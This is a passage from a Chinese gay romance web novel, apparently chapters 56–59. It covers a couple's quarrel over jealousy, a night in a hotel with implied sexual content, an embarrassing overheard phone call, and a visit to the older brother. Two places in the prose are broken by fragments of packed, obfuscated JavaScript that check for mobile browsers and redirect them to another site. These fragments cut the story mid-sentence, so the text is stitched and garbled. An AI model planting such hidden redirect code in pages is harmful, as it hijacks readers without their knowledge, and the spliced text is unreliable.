何湛程翻了个大白眼:“你这种满口谎言的人,你会对我说实话?” 戚时笑:“如果你真的想听,你就告诉我,不管什么问题,我都会如实回答。” 何湛程缓缓转过头,手指反扣压在他手腕脉搏,望着他一笑:“那好,你告诉我,你喜欢赵博吗?” 戚时心里咯噔一下。 何湛程“哦”了一声,淡淡说:“你喜欢。” 对面,李秀芳母子俩埋头吭吭哧哧地吃饭,努力充当这对不安分情侣的背景板。 戚时顿感一阵头疼。 “没关系,”何湛程安慰似的拍两下他肩膀,“再等等吧,等我们分手了,你就可以去找他了。” 戚时无可奈何:“你别闹了行不行,我没想过跟你分手。” 何湛程诧异挑眉:“啊,那你谈两个啊?” 戚时蹙起眉头:“程儿,你明明知道我心里装的是谁,你别这么说行吗?” 何湛程更诧异:“我说什么了啊?我说得哪里不对吗?如果我说的不对,你早就矢口否认了,又怎么会有这么多废话?” 戚时眸色冷沉下来:“我让你别闹。” 何湛程笑起来:“怎么,戳中你心事了?” 戚时沉声道:“你是不是非要闹得两败俱伤了才罢休?” 何湛程笑得发苦:“二哥,我只是想让你亲口说一句‘我不喜欢他,我只喜欢你’。” 戚时瞪着他:“我只喜欢你,我只爱你,满意了?” 何湛程张了张嘴,咽下那句“前一句呢?为什么不说前一句?” 他笑着“嗯”了一声,说:“满意了。” 晚九点钟,李秀芳撤了满桌剩菜,沏了茶水,切了水果,系好围裙去厨房洗碗。 戚时独自跑去外面抽烟了,半个小时了还没回来,何湛程假装不知道,坐在客厅沙发和刘毅闲聊,趁着李秀芳不在,他把塞到礼盒里的几万块钱拿出来,让人先藏身后,等晚上睡觉放起来。 “本来给你家里拿的,没想到你家就你一个是人。” “你妈老管着你吧?话都不让你乱说,钱肯定就更不让你乱碰了。” “男人出门在外没点钱怎么行,过几天你去德国,让戚老二的人帮你兑成欧元,路上看到什么想买的、想吃的,就花这个吧。” “你的病不算严重,就是拖太久了,可能要花好几年才能彻底治好,戚时那个大傻叉根本不懂生活,自以为帮你安排好医院和学校就万事大吉了,他自己吃腻了减脂餐还知道跑去夜市吃垃圾呢,也不想想你第一次出国什么都没见过、什么都没玩儿过,鬼才乐意天天在医院吃病号饭呢。” “你不要嫌少,等你花完这些,他派来照顾你的人自然而然就知道该怎么伺候你了。” “如果他们敢装傻,你就直接抄拖鞋摔他们脸上,放心,百试百灵。” “但是他那只手表不能给你,”何湛程一脸认真地说,“那是我的。” 刘毅忍不住笑出声:“谢谢。” “他是个好人,你也是,你们会幸福的。” 何湛程抿了抿唇,忍不住扭头瞥一眼大门。 客厅门紧闭,戚时还没有回来。 他恨恨哼一声:“抽吧,抽死他算了,谁稀罕跟他这种三心二意的人过日子!” 刘毅又笑了声。 探身伸出手,本想安慰他,指尖刚触碰到何湛程高定西装的锦缎衣料,轻叹一声,又缓缓收了回去。 “他不是坏人,就是有点儿小孩子气,”刘毅笑说,“就像从前,他很喜欢和我玩儿,还说我是他最好的哥们儿,但我坐在轮椅上动不了,他还是会去找那些能骑摩托陪他到处乱窜的男生一起玩儿。” “他其实很寂寞,只要心里有一丁点儿得不到满足,他就会找另外的东西来塞满。” “你年纪要比他小吧?可你们站在一起,反而是他更黏你。” “刚才在饭桌上的时候,你那么说他,我心里还有点害怕,戚时那么要面子的人,说翻脸就翻脸了,我还担心你们该怎么收场。”刘毅笑叹一声,说:“万万没想到,他最后说让你再多吃点儿饭。” 何湛程心烦意乱地靠回沙发,说:“你不用替他讲好话,随便他喜欢谁,反正我又不会跟他结婚,他爱找谁当备胎就找谁,跟我没关系。” “啊……”刘毅一时不知道该说什么好。 这诧异迷惑的反应更加令何湛程窝火。 但心里无比庆幸。 之前何老大问他把那几辆车运到燕京的哪儿,他发过去的是佟老头房子的地址,而不是戚时的。 他就不能太给戚老二脸了。 戚时以为往他身上花个几千万,又重新装修了家里的房子,仅是这样就能锁住他么? 他何湛程这么便宜的? 那老小子想得美! 他今年才二十呢,二十! 青春正好风华无限的二十! 戚老二那个大龄恨嫁男,就因为自己拒绝了他的求婚,这就又迫不及待寻找下家了,也真够有意思的。 75寸液晶电视放着野生动物丛林纪录片,何湛程心不在焉地看着荒原草丛中一头雄壮的美洲狮正埋头啃噬一只血淋淋的斑鹿,余光不住地往门口瞟。 他想,如果待会儿戚时抽完烟进屋敢跟他说分手,他一定要先抽对方一个响亮的大耳刮子,再装哭撒娇说舍不得二哥,然后糊弄着人去酒店,把戚时那个欠操的狗男人狠狠干一顿,第二天早再甩人二百块钱正式提出分手。 唐丽媛从外面遛弯回来,一进门就捂着风衣对他们说外面真冷。 “这都立夏了,天气还这么阴晴不定,幸亏我带外套了。” 她碎碎念着走近茶几,捻了颗樱桃放嘴里,扭头看向何湛程,问:“三少,咱们什么时候走?” “再等几分钟。” 何湛程拎起戚时搭在沙发扶手上的西装外套,举起递给她,说:“去看看他抽死了没。” 唐丽媛眨眨眼,不敢置信地指了指自己:“我?” 何湛程一挑眉:“不然是我?” 唐丽媛犹豫道:“我怕他心情不好又骂我。” 何湛程语气温柔:“我也很怕我心情不好打死他。” 唐丽媛叹了口气,不紧不慢地连续吃了五颗葡萄,认命接过外套,走到门口要拧把手。 戚时正好推门进来,周身浓烈烟熏味笼罩他全身,呛得她大脑发晕。 俩人对视一眼,戚时视线落到她臂间挽的外套,皱了下眉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568780|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 唐丽媛没好气地把衣服递过去:“三少让给你拿的,怕你冻着。” 戚时面容松动,接过外套,视线投向坐在沙发上的男人。 何湛程一脸淡然地靠在沙发上看电视,二郎腿翘着,鲜切水果吃着,手里盘着他那串佛珠,刘毅坐在他旁边,那俩人有一搭没一搭的聊着,氛围和谐。 戚时从唐丽媛手里接过外套,一边穿着,一边走去茶几前,整个身躯挡住人看电视的目光,问:“程儿,走吗?” 何湛程抬头望他,隔着有一定距离,他鼻尖弥漫过来淡淡的烟味。 他问:“走哪儿去?” 戚时完全跟个没事儿人一样,说:“你不是要去市里住酒店吗?” 何湛程顿了顿,说:“我还没订呢。” 戚时笑了声:“这有什么的,我订。” 从西裤兜摸出路虎车钥匙,扭头抛给唐丽媛,说:“你开我那辆,我跟程儿一辆,收拾收拾,准备走人。” 唐丽媛扬手接过,见俩人氛围暧昧又微妙,很有眼色地拎起包,冲何湛程招了下手:“三少,那我先走了。” 何湛程点了下头,掌心珠子往上滑动,套回到手腕上,他起身对刘毅道别。 “有事打我助理电话,他们都在这里。” 刘毅点头,说了句“好”,含笑送别的目光往旁边偏移了一点,想去再认真地看一看某个人,何湛程轻轻一迈,高大身躯挡住他视线。 “我说了,你要什么都可以,但手表不能给你,那是我的。” “就算我不稀罕,那也是我的。” 刘毅失笑,说:“行。” 戚时走去厨房和李秀芳打招呼说要走,李秀芳猛地提高嗓门“哎呀”一声,忙追出来挽留,说家里有两三间空客房呢,就算小唐和小何全都留下都住的开,不住嘴地嗔怪戚时,说自家里有房间,干嘛浪费那钱去外面住,又赶忙拉着刘毅,把轮椅推到戚时面前,嫌怨道:“你也是,都这么大人了,家里来客人了也没个眼色?你哥俩都多久没见了,自家兄弟来了也不知道多拉着人家聊聊,一声不吭闷葫芦似的,难怪人家觉得没劲要走呢!” 刘毅无奈道:“妈,人家本来就是要走的,你就少说两句吧。” 戚时没再理李秀芳,转头交代刘毅:“过两天会有人来接你,等到了那边给我打电话。” 何湛程在旁边面无表情地纠正:“发短信。” 戚时笑,点点头,对刘毅说:“那发短信吧,不好意思,家里管得比较严。” 刘毅应了声,笑道:“好,你们路上注意安全。” 李秀芳一听戚时送儿子走了,不禁有点着急,追着戚时和何湛程出院门外,还想再拦几句,何湛程正要上车,见她越积极热情,戚时的表情似乎越阴郁,不禁眉头一皱。 他问坐在副驾上的人:“怎么了?” 戚时摇了摇头:“没怎么,我们赶紧走吧。” 何湛程心里一紧。 他偏头看了眼李秀芳,又回头看戚时,知道这俩人过去肯定有事儿。 何湛程撑臂搭在车顶,俯身探头,对车里人动了动嘴唇,声音很低: “她是你们高中的年级主任吧?只要你一句话,我明早就让她下岗。” 戚时揉了揉眉心,说:“不用,她原先挺疼我的,真的,一切都是我的问题。” 他不应该因为干妈对自己有点好,他就冒昧地要求去人家家里住。 他算老几? 他也不应该因为何三少跟他谈场恋爱,他就妄想着将这个人锁牢在自己身边。 他算什么东西? 何湛程看不懂。 他不懂一个在京城叱咤风云的集团老总,回到老家之后,不仅没有衣锦还乡的风光得意,反而变成柔软懦弱的缩头乌龟。 有些不满。 更多的是心疼。 心疼他未曾出现在戚时身边的那些旧时光,他的小朋友究竟受了多少委屈。 何湛程最终没再说什么,关门坐进车里。 前照灯“扑”地一闪,刺眼的光芒不客气地照在突然被吓一跳的李秀芳的脸上,黑夜下,亮银色的法拉利车胎碾过庭院一地清冷月光,逐渐驶离这栋回归死寂的小别墅。 车窗外,夜幕星河,疾风呼啸,树影婆娑。 戚时疲惫地靠在椅背,缓缓闭上了眼。 “程儿,把车顶打开吧,我身上味道是不是有点儿重,不要熏到你。” 何湛程放下副驾靠背,令人可以舒适地躺下,单手打着方向盘,另一手握住了戚时的手。 “没关系,晚上冷,你歇会儿吧。” 戚时闭着眼睛,紧紧回握住他手。 “程儿。” “嗯,我在。” “我从来没有专心致志地喜欢过谁,因为我知道没有人会坚定不移地选择我这样的人。” 何湛程一顿,说:“戚时,我今年才二……” “我知道。” “以前追求我的那些人,他们也都只爱我一个。” “我知道。” “那你想说什么?” “我想说……” 戚时闭着眼,轻轻摩挲着握在掌心的手指,低声如呓语:“程儿,我想告诉你,能跟你在一起,我真的很幸福,很幸福……” “只是想告诉你这个。” 57.第57章 何湛程不太理解戚时口中的幸福是什么意思。 他们二人的同居生活其实很平淡无趣。 戚时早出晚归,他也有自己的事要忙,一天24小时,俩人只有晚上才有机会一起做点事儿。 一起吃晚餐,饭后去散步遛狗,回来后洗漱吹头发敷面膜,穿着情侣装挤在客厅沙发上看球赛,言语歹毒地贬低对方支持的球队,又在共同喜欢的球星得分瞬间不约而同地跳起来高声欢呼,夜深露浓时分,意犹未尽地关掉电视,钻进被窝里东拉西扯地聊天,最后,闭上眼,默契地和对方接一场缠绵湿漉的吻,互道晚安后相拥而眠。 戚时是一个很懂情趣的男人,偶尔陪他在床上玩点花样,何湛程被迷得七荤八素,完全抵抗不住。 他总盼着下一次的来临,因此哪怕自己在外面有住处,他也从没想过要离开戚时的家。 这晚住酒店,戚时订的高档情侣套房,浴室很大,欧式落地镜子前,何湛程搬来个凳子,推着戚时坐下,然后拿起吹风机帮人吹头发。 从李秀芳家离开后,戚时整个人显露出疲态,变得很不愿意说话,洗澡也很敷衍,头上的泡泡都没擦干净,突然就裹着浴巾就跑出来问他“还在不在”,何湛程发现不对劲,哄着人又进去,帮戚时重新洗了一遍。 “唐丽媛的联系方式是我哥给你的?”戚时闭眼坐在凳子上,冷不丁朝头顶人问出这个问题。 今天一番折腾,他哥家里那个私人医生怎么回事已经一目了然,作为一个习惯掌控一切的成年人,戚时很难不心生抵触。 他现在知道他哥打什么主意了。 他不明白他哥一个快要奔四的老叔叔,想给他看病还要用糊弄的那一套,他又不是小孩儿。 更何况,他有没有病,应该由他自己说了算。 如果医生真给他开出一条“耳聪目明身体倍儿棒”的健康证明,何湛程这个花心公子哥儿还会像现在这样事无巨细地照顾他么? 当然不会。 想都不用想。 所以答案显而易见: 他没有任何病,更不需要看任何医生。 “是啊,”何湛程手指拨弄着他头发,随口应着,“你哥还说,他让你带我去家里吃饭呢,你好几次都忘了。” 戚时“哦”一声,随口编了个理由:“我哥家里也有个小年轻,就我之前跟你提过的那男绿茶,他比你大几岁,心眼儿一出接着一出的,我怕你去了就被他勾搭走了,才一直没给你说。” 何湛程点了点头,说:“行,那我以后不去了,反正我也不喜欢你哥。” “还有,之前我说错了。” “你哥俩是一路人,他混蛋,你也混蛋。” “我胳膊举累了,你自己吹吧。” 何湛程放下吹风机,转身就走。 戚时眼疾手快,一把抓住他手腕:“程儿,你别生气。” 何湛程扭头笑:“没有啊,我生什么气?” “结婚对象才见家长呢,我又不跟你结婚,当然没必要见你哥啊。” 对啊,这话一说出来,何湛程自己也挺莫名其妙的。 他又不跟戚时结婚,他干嘛非要让人带自己回家? “赵博不是和你哥一个小区么?”何湛程笑着提议:“你带赵博过去方便点,他都没谈过恋爱,干干净净的,你哥肯定喜欢他。” 戚时皱眉:“你说什么呢?我都说了我不在乎那些,你能不能别总是揪着这个点不放?” “是吗?”何湛程忍不住将憋闷已久的心声吐露出来:“你难道不是认为你哥肯定不会喜欢我,才不带我去见他的吗?” 戚时眉头蹙更深:“我只是不想让其他人干涉我们而已!” 这就是承认的意思。 何湛程点点头:“行,我知道了。” 戚时心里着急,腾地站起身,整个人压过来,将人搂得紧紧的。 “回!只要你愿意,我明天就带你回去!” “不用了。” 何湛程挣开他怀抱,拿了件T恤套上,一身潮酷红衣黑裤,迈着长腿就去床头柜拿手机。 “你早点休息,我再去开个房间。” 戚时大脑气得一阵缺氧。 “站住!” “谁家订了情侣套房还再单独开房的!” “滚!” 何湛程才不理他那套,干脆利落地拧门,抬腿就走了出去。 “何湛程!”戚时压制着脾气,瞪着那人背影,“老子让你站住!” “本少爷让你滚!”走廊传来声音。 “就因为这么点屁事儿,你就跟老子分房睡?” “是屁事!你也是屁人!去死吧你!” 戚时一顿,突然压声说:“我买了那种戴胸链的黑网纱衬衫,待会儿就送到,你不想看我就退了。” 何湛程脚跟一转,动作丝滑地从走廊倒退回来,砰地一声关紧门,屁颠颠地跑过来,眨着亮晶晶的眼睛:“真的?” 戚时没好气一笑。 他就知道对付这个小色鬼,正常路数根本没用。 何湛程兴奋地晃他胳膊:“真的?真的?” 戚时笑哼一声,一把揽过他腰,低头咬了咬他的鼻尖:“还没买,不过只要你高兴,我穿什么都行。” 何湛程欢呼一声,蹭地一蹦,跳到他身上,双手捧起他脸,像只开心的啄木鸟,点着头不停地啄他嘴:“二哥嘬嘬么么!二哥你最好了!二哥我爱你!” 何湛程现在一米八八的个子,一日三餐都不少吃,闲着没事就到处乱跑,这几个月来,体型生长速度跟他家里那头阿拉斯加一样,身躯渐大,肌肉结实,猛地扑上来亲他,戚时险些招架不住。 他要绷紧起全部手臂肌肉,才将人稳稳地托住。戚时嘴角扬着笑,满心畅快地接受着他家小啄木鸟的亲吻。 “臭崽儿。”他叫得亲昵。他简直对这个小鬼头毫无抵抗之力。 “哼,”怀里人咬他嘴皮,“你才臭,我香着呢!” “好,”他笑得胸口震动起来,“香崽儿。” “二哥也不臭,二哥也香,二哥要戴上毛茸茸的小猫尾巴,然后叫我主人。” 何湛程双腿盘着他腰,整个人骑在他胯上高他一头,笑得风情,问他:“可以么?” 戚时仰起脸,痴迷地望着他。 他被这位浪荡不规矩的情人蛊惑得魂儿都要丢了。 “只给你一个人看的话,当然可以。” 何湛程满意了,微笑着俯下身来吻他。 “戚时,那个样子的你,也只能给我一个人看。” …… …… 没有什么矛盾是一场大汗淋漓的情*事不能解决的。 如果有,那就再来一场。 次日早醒来,满室遍布狼藉,浴室、床头、穿衣镜前、房门后、沙发座、落地窗后……一瓶用光了的润|滑|剂滚落进被撕碎的黑丝衣料碎片里,床头柜摆放的两盒避|孕套完整如新。 何湛程忘了他们是从什么时候开始不戴套做的,作为一个经常流连风月场的人,他在这方面的安全防范意识格外的强,碰女人要提防对方怀孕,碰男人要提防被对方染病,是故,哪怕遇到再火急火燎的情况,他都能清醒到用足够的理智为自己锁上一层保险栓。 他相信戚时也是。 戚时提醒他,是在坎昆的一个雨夜。 “程儿,是你先开始的。” 二人躺在被窝温存,戚时扭身从床头抽屉拿 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他们这般依偎着聊天,何湛程的身体渐渐热起来,戚时惬意地闭着眼,感觉自己又要幸福得睡过去了,唐丽媛的电话不合时宜地打来,找何湛程问什么时候走。 “三少你们在哪儿住呢?不如我来找你们吧!” “我记得这里原来有家小笼包很好吃呢,咱们一起啊!” 何湛程应了声,从被窝里爬出来靠在床头,低头正要发地址,戚时臭着脸一把夺过电话,冲手机那头人不客气道:“你非跟我们俩一起走干什么,你手上又不是没车,你自己想去哪儿就自己去,少给他打电话!” 唐丽媛也冲他喊:“神经病啊你!大早上的跟吃炮仗了一样!我跟三少有事要谈,你不帮忙就少插嘴!” 戚时就偏脸问何湛程,唐丽媛是不是也找何湛程推销她那些内衣产品了? 心中泛酸,说那不老实的女人仗着是他戚老二的高中同学,手里攥着点儿他的小秘密,一个平平无奇的小商人,仅凭着一根单薄的关系线,居然跟势力庞大的何家攀上了关系,也真是好手段。 何湛程不甚在意地说,她不是跟他攀关系,而是他表姐。他答应唐丽媛了,他会找林翘楚帮她在时尚界运作一番,唐丽媛接下来是准备飞香港要去见他表姐。 只不过,何湛程当时是空口许诺,唐丽媛大概是怕他事后反悔,这马上要回京了,她心里没底,这才急着找他牵线。 “我表姐你还记得吧?”何湛程微微笑着,食指尖一下又一下,重重戳着戚时的眉心,说:“林、翘、楚,你当初不是想追她么?如果你现在还惦记着,我不介意顺道也帮你牵一下线。” 戚时不痛快地打掉他手:“少吃闲醋!妈的,干了老子一整夜,这会儿闲下来了,就又开始给老子瞎整事儿,我看你小子才是活不耐烦了!你觉得我都跟一个男的干这档子事儿了,以后还能再装个没事儿人一样回去碰女人?昨晚上老子怎么伺候你的,你心里没点儿逼数?我告诉你何老三,以后少来问我是不是喜欢谁,你只要问,老子就是都喜欢!老子从小就是见一个爱一个的毛病,不仅如此,老子还特爱慕虚荣,什么都要挑最好的,所以从始至终,从你第一次睡老子开始,我就只打算跟一个男人上床,那个人就是你,懂了?” 何湛程噗嗤一声笑出来。 戚时被对方这反应惹得有些恼:“笑什么?” “没什么,”何湛程憋笑得肩膀一耸一耸的,手指挠挠鼻尖,说,“挺感人的,但……咳,我电话还没挂。” 戚时:“……” 动作僵硬地转动两下头,不抱什么期待的视线落到屏幕还亮着的手机。 电话那头,一道不怀好意的笑声温柔: “戚时,真没看出来,原来你是下面的那个呀?” 58.第58章 戚时说,他必须要把唐丽媛逮住绑成麻花也扔去德国,否则他的一世英名就全毁了。 唐丽媛说,她已经把他那段感人肺腑的表白录音了,以后戚时最好对她毕恭毕敬的,否则她就要把那句深情款款的“从你第一次睡老子开始,我就只打算跟一个男人上床,那个人就是你”设置成手机提升铃声,一天听八百遍。 何湛程立刻说:“给我发一份。” 唐丽媛积极道:“好嘞!” 戚时暴跳如雷:“唐丽媛!” 何湛程给林翘楚打电话,问她是否已经从新加坡回去,他想请她帮朋友个忙。 林翘楚答应可以先帮唐丽媛看看,但丑话说在前头,如果是粗制滥造的品牌,那肯定是不行的,唐丽媛在另一头打包票,说品质绝对没问题,她今晚上就订票飞去找林小姐,届时二人再详谈。 林翘楚话音淡淡的,应了声“好”,等和唐丽媛聊完,她转头又给何湛程打了个电话,问他最近在做什么。 其实是忍不住八卦,纳闷何湛程和戚时微信用的还是情侣头像,怎么就突然跟另一个女人扯上关系了? 何湛程不正面回应,说了句“你猜”。 他表姐虽然表面冷淡,但内心有一颗狂热的八卦之心。他上一秒在海外社交平台上发布和戚时的热气球合照,林翘楚下一秒就火速把他从黑名单放出来,把照片截图甩给他,打电话问:“什么情况?!你还真把他泡到手了?!” 何湛程不爽前段日子表姐对自己的不管不顾,傲娇地“嗯”一声,回人一句“这我男朋友”,然后挂掉电话,再不理林翘楚那些“怎么追上的”、“你是用的正经手段吗”、“谁先亲的谁啊”、“谁是上面那个”、“他本人真不像是会喜欢男的啊”、“他很凶吧,私下对你怎么样啊”……诸如此类。 不过,今天临挂电话前,何湛程忍不住主动跟她提起:“他现在就睡在我旁边,刚醒,你要问候他一下么?” 林翘楚笑:“好啊。” 戚时一听,扬手掀被子转身就要跑走。 何湛程一把将人拽回来,将自己手机塞给他,说:“快点儿,怎么这么没礼貌,赶紧跟你表姐聊两句!” 戚时颇为尴尬地接起电话,清清嗓,说:“喂,翘楚,我是戚时。” 何湛程不满意,一本正经在旁提醒:“你该随我叫她一声‘表姐’。” 戚时又气又笑,伸手打他一下:“去你的!” 林翘楚打招呼,笑道:“时哥,好久不见。” 戚时一副公事公办的口吻:“嗯,刚才找你帮忙的唐丽媛是我的高中同学,她是小门户起家,这么多年一个人在外打拼不容易,不管接下来你们合作结果怎样,我希望你往后能多关照她一下。” 林翘楚笑:“既然时哥都开口了,我自然尽力而为。” 戚时点头:“那我就先替她谢过你了。” 林翘楚笑:“时哥客气,咱们一家人,不用这么见外。” 戚时一听这话,不免黯然,自嘲一笑:“今朝有酒今朝醉罢了,一家人还算不上。” 林翘楚诧异:“怎么会呢,你可是唯一一个湛程在社交平台上公开晒过的男友呢,在此之前,他的帖子全都是他自己的臭美照。” 旁边何湛程一顿,伸手过来拦电话:“姐,话太多了啊。” 戚时更诧异,扭身一挡,连忙捂着手机问:“什么照片?什么时候晒的?我怎么不知道?” 林翘楚一笑,十分贴心地跟他说了何湛程在海外社交平台的账号。 “是张有个彩色热气球的合照,湛程和你都很帅。” 戚时“哦”了一声。 他知道那张照片,那是他朋友圈的背景图,但他没想到何湛程也…… 心里一阵异样暖流涌动。 他正好拿着何湛程手机,三两步跳下床,一边躲避着某个突然脸红不好意思起来的男孩儿的长腿追击,一边低头飞快翻出林翘楚说的APP,找到何湛程的帖子。 【你好,哥哥,我爱你。】 再往上一条新帖子,一张臭美自拍。 豪华酒店总统套房,他可爱的小男朋友蹲在璀璨夺目的奢侈品与硕大花簇中,帅气的脸庞,高挑的身形,笑容灿烂。 配文:【开心,谢谢哥哥的礼物】 戚时一颗心柔软得要化成了水。 他将这两条亲昵的问候语读了十来遍,截图点保存,用何湛程的微信发给自己,然后扭过头,冲追过来的人一笑:“你叫我‘哥哥’?” 何湛程耳朵涨红,嘴硬说:“我不本来就叫你‘二哥’么?” 戚时笑眼深深地望着他:“那不一样。” 何湛程被人灼热的目光注视得满脸发烫。 “怎么不一样了?” 戚时笑:“我们程儿在我看不见的地方也撒娇,真乖呢。” 何湛程轻哼一声。 戚时漫步走过来,双手圈住他腰,低头在他额头上印下一吻:“程宝贝儿,哥哥也爱你。” 何湛程撇撇嘴:“骗子。” 戚时简直对他爱不释手,轻轻拨弄了下他的刘海,掌心抚摸他脸庞:“怎么会,程儿让哥哥干什么,哥哥就干什么。” 何湛程不屑,刚想骂他两句,眼珠子一转,忽然说:“那哥哥今天晚上也穿黑丝衫,然后戴小猫尾巴给我看。” 戚时笑眼温柔地揉了揉他脑袋,很爽快地应道:“好。” 戚时抬指勾起何湛程下巴,那小子正一脸坏笑,他满眼柔情,越看越爱,正要与人接吻,另一手握着的手机那头,女声尴尬清咳一声,打断道:“那个,小猫,啊不对,那个,时哥,如果你没什么其他事要交代的话,我就先挂了。” 戚时:“………………” 电话“嘟嘟”两声挂断,戚时整个人石化在原地。 一世英名…… 他的一世英名…… 毁了…… 全毁了…… 舍不得冲某个跟他耍坏心眼的人发火,戚时红着脸大吼一声,三两阔步狂奔到床头,抡拳头爆捶了N遍枕头才勉强消解了直冲颅顶的臊意和羞耻心。 何湛程在一旁憋笑半天,怕戚时被搞出心理阴影,以后真就不陪他玩儿了,走过去拍了拍戚时肩膀,安慰道:“放心吧,我表姐嘴巴很严的。” 戚时扭脸瞪他:“何湛程!你干得好事!你让老子以后还怎么见人!!” “好啦,我会对你负责的。”何湛程凑近他,和他啄了一下嘴,哄道:“没事儿,做本少爷的男人,不丢人。” “啊啊啊啊啊啊啊啊!!!” “真他妈的受不了!!” 戚时无颜面对江东父老,翻身一滚,扯过被子死死地蒙住整个头,挺尸装死近半小时。 何湛程没好气地在旁边劝说着,说唐丽媛这会儿都在早餐店吃饱喝足开着车回京了,他们再不出发,连午饭都赶不上吃了。 戚时等到将自己捂得快喘不上气,才终于放弃挣扎。 他双手扒下被子,露出一双犀利凶狠的眼,冲何湛程威胁道:“你说的,从今往后,你得对我负责。” 何湛程表情一顿。 他知道戚时总习惯假借玩笑试探他的态度。 犹豫了两三秒,冲人点头一笑,说:“行。” 他其实很看重自己的第一个恋爱对象,他把这个具有初恋性质的身份给了戚时,戚时年纪稍长些,平时还算比较惯着他,除原则性问题外,戚时一律唯他意愿是从。 这是一位年近三十的成熟男人,在外强势硬悍,对内温柔体贴,相貌身材和床上功夫都是顶一流的,不止作为一个恋人,更可在未来与他携手联合,助他施展一番雄心抱负。 这也是他所有兄弟姐妹们都共同认识的朋友,是他父亲何澜认可过的晚辈,何湛程对传宗接代没什么兴趣,家里也没人会强迫他和女人结婚,从自主意愿上,他本人对戚时的各方面也是满意的。 只要戚时整颗心都完全忠于他,何湛程想,他或许真会和这个人有水到渠成的那一天。 回京。 风和日丽的好天气,莺飞草长,青绿色的旷野漫无边际,人在旅途。 高速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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何湛程咧嘴一笑,清咳两嗓,正要发功给对方再来招儿狠的,旁边戚时磨着牙醋意滔天,伸手又将手机给抢了回去。 “哥,”他黑着脸说,“你随便弄点就行,没事我们先挂了。” 戚铭应了声,说:“要不你们干脆来住几天吧。” 戚时知道他哥打什么主意,无非就是想把他当小白鼠关家里观察一阵子,于是想也不想就拒绝:“不用了,我现在也是有对象的人了,老和你一起住不太方便。” 戚铭无奈:“知道了,随你吧。” 戚时笑了声,说:“哥,你多给我们程儿烤点小蛋糕。” 戚铭没好气道:“知道了。” “诶?你这语气几个意思啊!” 何湛程不爽一拍大腿,坐起身就要夺电话。 “哥,”戚时举着电话,肩膀一斜,侧身避开身旁人,说,“还有一件事。” “嗯,你说。” “咱家里一向不住外人,”戚时说,“我不管你那医生是三甲还是六甲,在我进门之前,你全都给我轰出去。” 旁边何湛程动作一停,默不作声地坐了回去,低头叼着果蔬汁的吸管旁听电话。 戚铭也一顿:“老二,这件事我恐怕不能顺——” 戚时打断:“哥。” 戚铭:“嗯。” 疾风拂面,吹得人眯起双眼。 戚时掌心稳稳攥着方向盘,凝眸望着前路,声音理智而倔强:“我现在已经拥有我所能想象的最完美的人生了,我很好,非常好,我不想因为任何意外打乱我眼下平静的生活,可能你认为亡羊补牢为时未晚,但于我而言,我只想给我爱的人提供多一个留在我身边的理由。” 何湛程握着果汁盒的手指一紧,他凝沉下脸,心口也在一刹间突然滞涩住了。 惊讶,不悦,恼怒,心疼。 电话那边,男人先一步将心声替他骂了出来: “戚时,有病不治你脑子有坑吗!你知不知道你到底在胡说八道些什么?!” “我知道。” 戚时缓缓转过头,眼神认真地看向何湛程。 何湛程冷着脸瞥他一眼,齿间恨恨挤出两个字:“傻、逼。” 戚时笑得一脸风轻云淡,挂掉电话,伸手抚摸着对方年轻白皙的脸庞。 “湛程,我说过不强求你,但从今往后,除非你对我一点感觉都没有,否则,你将永远牵挂我、担心我,永远只为我一个人患得患失。” “程儿,”他微笑,“我既然说了你是我的人,你就跑不了。” 59.第59章 上一次何湛程来拜访戚铭,拖来一整车的茶叶、红酒、按摩仪、蚕丝被和人参海鲜等营养品,还有给戚铭男朋友带的几件小礼物,登门开口第一句,冲人微微颔首,礼貌地称呼一声“铭哥”,举止得体,礼数周全,更有万里挑一的外貌形象加持,很轻松就赢得了戚铭的欢心和喜爱。 何湛程临走,俩人氛围不太愉悦。 何湛程对人称呼从“铭哥”晋升成“叔叔”,戚铭也从一脸看晚辈的慈祥笑意变成了强忍不悦的干瞪眼。 戚时没想到这种类似“婆媳关系”的人类世纪难题会轮到自己身上,好在他哥还算疼他,没有搞强行拆散那一套,他家程儿也比较会来事儿,哪怕不喜欢一个人,也照样能装得笑眯眯的,和他哥维持着表面的和谐。 戚时跟他哥举手发誓,他以后也不再干涉他哥和男绿茶的事儿了,然后又跑去阳台牵小男朋友的手,从背后将人亲昵抱住,说,程儿不喜欢他哥是件好事,但程儿不能再阴阳怪气使坏逗弄他哥了。 “你就算装乖也像在跟别人在调情,”戚时埋头在怀里人颈窝,闷声道,“我心里不舒服。” 何湛程安慰般摸了摸戚时脑袋,没有吭声。 平静无波的眼眸眺望窗外景色,一想起路上戚时那句蛮不讲理“给我爱的人提供多一个留在我身边的理由”,心里就像扎了根刺,他也很不舒服。 可要生气发火,他又找不出理由。 只能说这个人太爱他了,爱到连自己生病了都不想去治,只为有一个借口可以将他挽留。 何湛程心口沉沉。 他感觉有些窒息了。 午间吃饭,温馨小厨房,仨人对坐。 戚铭问俩人这是去哪儿了,一路风尘仆仆的,还拖着行李,车也不是戚时的车,是何湛程的。 询问的眼神瞥向戚时,问:“谁出差还把对象打包带走的?” 戚时不想跟他哥聊从前的事,随口扔了句“那你就当我是和程儿去玩儿了吧”。 转头一个劲儿给身旁人夹菜:“程儿,尝尝,我哥不仅烤的蛋糕好吃,做菜更好吃。” 他见何湛程只吃面前的青菜,怕人拘束不好意思,刚给对方盛了碗鱼汤豆腐,又托着手,喂过去一勺青豆虾仁,说:“多吃点,你现在正长身体,多补营养,再过两年要长得跟我一般高。” 何湛程心不在焉地张嘴嚼着咽下。 戚时又给他递上碗汤,吹温了,喂给他。 何湛程吸溜一口喝光,面色淡淡地接过碗和勺子,说:“我自己来。” 戚时说了句“行”,站起身,干脆把那一大砂锅飘着葱油香的鲫鱼豆腐汤放到他面前,笑说:“喜欢吃就多吃点,都是你的!” 